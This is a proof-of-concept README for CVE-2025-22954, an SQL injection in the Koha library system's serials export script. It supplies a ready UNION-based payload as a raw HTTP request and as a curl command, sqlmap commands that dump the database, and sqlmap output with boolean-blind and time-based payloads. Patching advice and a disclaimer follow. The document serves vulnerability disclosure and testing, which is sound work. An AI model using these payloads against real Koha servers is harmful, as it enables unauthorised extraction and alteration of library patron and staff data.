# Koha CVE-2025-22954: SQL Injection in lateissues-export.pl ## Overview This repository contains a proof of concept for CVE-2025-22954, a critical severity (CVSS 10.0) SQL injection vulnerability in Koha before version 24.11.02. The vulnerability exists in the `GetLateOrMissingIssues` function in `C4/Serials.pm` which is called by the `/serials/lateissues-export.pl` script. The vulnerability can be exploited via the `supplierid` or `serialid` parameters. | CVE ID | CVE-2025-22954 | |--------|----------------| | CVSS v3 | 10.0 (Critical) | | EPSS Score | 0.03% (Top 5.26%) | | Published | March 12, 2025 | | Fixed in | Koha 24.11.02 | | Bug Reference | [Koha Bug #38829](https://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=38829) | | Release Notes | [Koha 24.11.02 Release](https://koha-community.org/koha-24-11-02-released/) | ## Vulnerability Details The vulnerability stems from insecure handling of user input in the `supplierid` and `serialid` parameters in the `lateissues-export.pl` script which is passed to the `GetLateOrMissingIssues` function in `C4/Serials.pm`. The function does not properly sanitize or parameterize these inputs before using them in SQL queries, allowing for SQL injection attacks. ### Affected Code The vulnerable script (`lateissues-export.pl`) contains the following code: ```perl my $supplierid = $query->param('supplierid'); my @serialids = $query->multi_param('serialid'); # ... for my $serialid ( @serialids ) { my @missingissues = GetLateOrMissingIssues($supplierid, $serialid); # ... # update claim date to let one know they have looked at this missing item updateClaim($serialid); } ``` The `GetLateOrMissingIssues` function in `C4/Serials.pm` likely contains vulnerable SQL query construction where the `$supplierid` and `$serialid` parameters are directly concatenated into SQL statements without proper parameterization. ## Proof of Concept This proof of concept demonstrates how an authenticated user with access to the serials module can exploit this vulnerability to extract sensitive data from the Koha database or potentially gain unauthorized access to the underlying database system. ### Prerequisites - A vulnerable Koha instance (pre 24.11.02) - Access to the `lateissues-export.pl` script ### Exploitation Method #### HTTP Request Method The following raw HTTP request can be used to exploit the vulnerability: ```http GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1 HTTP/1.1 Host: koha.example.com User-Agent: Mozilla/5.0 Accept: text/html,application/xhtml+xml,application/xml Connection: close ``` #### Using curl ```bash curl -i -X GET "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1" ``` #### Using SQLMap SQLMap can be used to automate the exploitation of this vulnerability. First, capture a request to the vulnerable endpoint with valid authentication cookies, then use SQLMap to exploit the injection point. ```bash # Save a request with valid cookies to request.txt sqlmap -r request.txt -p supplierid --dbms=mysql --level=5 --risk=3 ``` Example request.txt file: ``` GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1 HTTP/1.1 Host: koha.example.com User-Agent: Mozilla/5.0 Accept: text/html,application/xhtml+xml,application/xml Connection: close ``` You can also exploit the vulnerability directly with SQLMap: ```bash sqlmap -u "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1" \ -p supplierid \ --dbms=mysql \ --dump ``` ``` GET parameter 'supplierid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests: --- Parameter: supplierid (GET) Type: boolean-based blind Title: Boolean-based blind - Parameter replace (original value) Payload: supplierid=(SELECT (CASE WHEN (1285=1285) THEN 1 ELSE (SELECT 7101 UNION SELECT 6384) END))&serialid=5&serialid=7&csv_profile=1 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: supplierid=1 AND (SELECT 5817 FROM (SELECT(SLEEP(5)))eSKk)&serialid=5&serialid=7&csv_profile=1 --- [10:46:38] [INFO] the back-end DBMS is MySQL [10:46:38] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s) web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (focal or eoan) web application technology: Apache 2.4.41 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [10:46:40] [WARNING] HTTP error codes detected during run: ``` ## Impact This vulnerability allows an authenticated attacker to: 1. Extract sensitive information from the database 2. Modify data in the database 3. Potentially execute arbitrary commands on the database server 4. Potentially gain access to the underlying operating system ## Mitigation Update to Koha version 24.11.02 or later which includes a fix for this vulnerability. If immediate updating is not possible, consider implementing the following temporary mitigations: 1. Restrict access to the `/serials/lateissues-export.pl` script to trusted IP addresses only 2. Implement a Web Application Firewall (WAF) rule to block potentially malicious requests to this endpoint 3. Modify the `C4/Serials.pm` file to properly parameterize SQL queries in the `GetLateOrMissingIssues` function ## Ethical Considerations This proof of concept is provided for educational and defensive purposes only. Always obtain proper authorization before testing any system for vulnerabilities. ## Disclaimer The author is not responsible for any misuse of this information. This proof of concept should only be used on systems you own or have explicit permission to test.